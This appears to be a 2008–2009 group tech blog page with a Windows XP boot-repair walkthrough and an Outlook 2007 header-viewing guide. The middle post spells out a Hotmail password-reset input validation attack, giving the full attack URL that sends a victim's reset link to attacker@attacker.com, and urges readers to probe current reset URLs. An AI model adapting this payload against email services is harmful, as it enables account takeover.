She-Geeks

01.27.09 by:: swytch

I’m sure many of you have encountered this devlish BSOD (blue screen of death) at least once in your lifetime.

In my line of work, people tend to come to me in utter anguish praying they haven’t lost their files. Most of the time I can get the user up and running again within a short period of time but there are those times…. well, I’ll just re-emphasize the need to BACK UP YOUR DATA. :0)

Here are a few steps which I used to get my laptop back in shape. (steps below reference Windows XP but can be help troubleshooting other operating systems)

Step 1 – Located my Windows XP operating system disk. With my XP disk in the CD-rom drive, I powered up the computer. When prompted, I booted to the CD drive and not the internal hard drive. At that point I began to see XP starting its boot and restore process.

Step 2 – When prompted, select “R” to repair the current XP installation. You will then be brought to the Windows System Repair prompt shown below.

Step 3 – I resolved the situation using both the FIXBOOT and FIXMBR commands.

original photo: http://www.windowsnetworking.com

I ran the FIXBOOT command first, then rebooted the machine to see if it solved the problem. It didn’t so I proceeded with the FIXMBR command and tested again.

Step 4 – I returned to the Windows Recovery Console and ran the chkdsk command with a ” /r ” for recover.

After I completed the steps above, I performed a full shutdown.
I booted the laptop and we were back in action! These are the steps that I took but know that there are many more commands you can use in the Windows Recovery Console.

Check out some of these sources for additional information:

http://support.microsoft.com/kb/297185
http://www.wikihow.com/Use-Windows-Recovery-Console-from-XP-CD
http://commandwindows.com/recovery.htm

05.16.08 by justy

I’ve been doing some reading on input validation attacks to gain illegal access to email accounts. One example that i read was about Microsoft Corporation’s Hotmail & it was called the Reset Password Input Validation attack. Basically, this would allow the attacker to reset the password of any victim the attacker chose without any interruptions. Such as, the security question. The attacker could execute the attack by copy & pasting this URL into the address bar:

https://register.passport.net/emailpwdreset.srf?1c=1033&em=victim@hotmail.com&id=&cb=&prefem =attacker@attacker.com&rst=1

Of course the victim@hotmail is the password whose will be reset. The attacker@attacker.com sets up an account to where the victims reset password link will be sent to. After the above URL is entered in the address bar, an email will be sent to the attackers account with the link to reset the victims password. Can you believe something so simple as this URL string can allow access to sensitive information, even bypassing the security question? Pretty neat loophole. Of course, this loophole has been closed, but if you look at the email password reset URL now from hotmail, & play around with it a bit, you can figure it out :p As i am sure, the same can be done with other Web-based email service providers.

02.06.08 by swytch

Ok, how many of you out there are completely aggravated with ms office 2007? I mean some of the UI is nice but I can’t find what I need…and that makes me one angry grrl. The point of this drivel is outlook email headers. Most of us out there know how to get to the header information in previous versions of outlook so i won’t go into detail on that. Why would i look at email header information, you say? Who cares, you say? You care. i mean, if you’ve ever gotten SPAM (we know you have) and wanted to know where that pointless piece of electronic waste came from, you look at email headers. With that said, here is the skinny on checking header information in outlook 2007:

Viewing Full Header Information in MS Outlook 2007

The following information is useful in checking suspicious email messages:

Viewing Full Header Information in MS Outlook 2007:For Outlook 2007:

1. Open Outlook.
2. Open a message.
3. On the Message tab, in the Options group, click the Dialog Box Launcher icon image.
4. In the Message Options dialog box, the headers appear in the Internet headers box.

For older versions of Outlook:

1. Open Outlook.
2. Open the message you’d like to view headers for.
3. Click the View menu, and select Options…. The full headers will appear in a new window.

See how simple that was? The rest is up to you. Don’t say I didn’t warn ya!